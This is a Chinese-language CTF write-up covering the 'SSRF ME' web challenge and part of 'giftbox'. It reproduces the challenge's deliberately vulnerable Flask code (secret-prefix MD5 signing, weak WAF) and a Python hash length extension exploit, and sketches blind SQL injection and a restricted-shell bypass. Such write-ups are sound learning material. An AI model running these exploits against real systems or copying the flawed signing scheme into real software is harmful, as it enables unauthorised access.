又是一场打了n久才补题解的比赛orz……
WEB
SSRF ME
一道简单的哈希长度扩展攻击签到题
先看源码1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')
app = Flask(__name__)
secert_key = os.urandom(16)
class Task:
def __init__(self, action, param, sign, ip):
self.action = action
self.param = param
self.sign = sign
self.sandbox = md5(ip)
if(not os.path.exists(self.sandbox)): #SandBox For Remote_Addr
os.mkdir(self.sandbox)
def Exec(self):
result = {}
result['code'] = 500
if (self.checkSign()):
if "scan" in self.action:
tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
resp = scan(self.param)
if (resp == "Connection Timeout"):
result['data'] = resp
else:
print resp
tmpfile.write(resp)
tmpfile.close()
result['code'] = 200
if "read" in self.action:
f = open("./%s/result.txt" % self.sandbox, 'r')
result['code'] = 200
result['data'] = f.read()
if result['code'] == 500:
result['data'] = "Action Error"
else:
result['code'] = 500
result['msg'] = "Sign Error"
return result
def checkSign(self):
if (getSign(self.action, self.param) == self.sign):
return True
else:
return False
#generate Sign For Action Scan.
def geneSign():
# hashlib.md5(secert_key + param + action).hexdigest()
param = urllib.unquote(request.args.get("param", ""))
action = "scan"
return getSign(action, param)
def challenge():
action = urllib.unquote(request.cookies.get("action"))
param = urllib.unquote(request.args.get("param", ""))
sign = urllib.unquote(request.cookies.get("sign"))
ip = request.remote_addr
if(waf(param)):
return "No Hacker!!!!"
task = Task(action, param, sign, ip)
return json.dumps(task.Exec())
def index():
return open("code.txt","r").read()
def scan(param):
socket.setdefaulttimeout(1)
try:
return urllib.urlopen(param).read()[:50]
except:
return "Connection Timeout"
def getSign(action, param):
return hashlib.md5(secert_key + param + action).hexdigest()
def md5(content):
return hashlib.md5(content).hexdigest()
def waf(param):
check=param.strip().lower()
if check.startswith("gopher") or check.startswith("file"):
return True
else:
return False
if __name__ == '__main__':
app.debug = False
app.run(host='0.0.0.0',port=80)
当action为scan的时候,可以将param的文件复制到自己的沙盒的result.txt里面,然后read的时候读result.txt文件
geneSign能拿到action=scan,param=flag.txt的哈希值,但是拿不到read的哈希值,因此我们哈希扩展一波拿哈希值,exp如下1
2
3
4
5
6
7
8
9
10
11import requests
num = 16
secret = "a" * num
secret_str = secret + 'scan' + '\80'
value = 'read'
padding = 64 - len(secret_str) - 8
secret_str = '%80' + '%00'*padding + '%a0' + '%00'*7 + value
url = r'http://139.180.128.86/De1ta?param=scan'
cookie = {'action': secret_str, 'sign': '4e5e3cd2e040a695869c672ada5af0dd'}
res = requests.get(url, cookies=cookie).content
print res
shellshellshell
一道组合的内网题
giftbox
菜鸡太菜了,只能来复现一波
ls看一下有什么文件可读
然后login处有注入,真返回incorrect,假返回not found
然后就是写个脚本注入一下就能拿到一个hint
告诉你还有一个隐藏的命令,看了一下好像还有一个eval函数,但是在launch的时候调用
同时这个shell是受限制的,所以很多命令不能直接执行,这里可以用php可变变量拼接出语句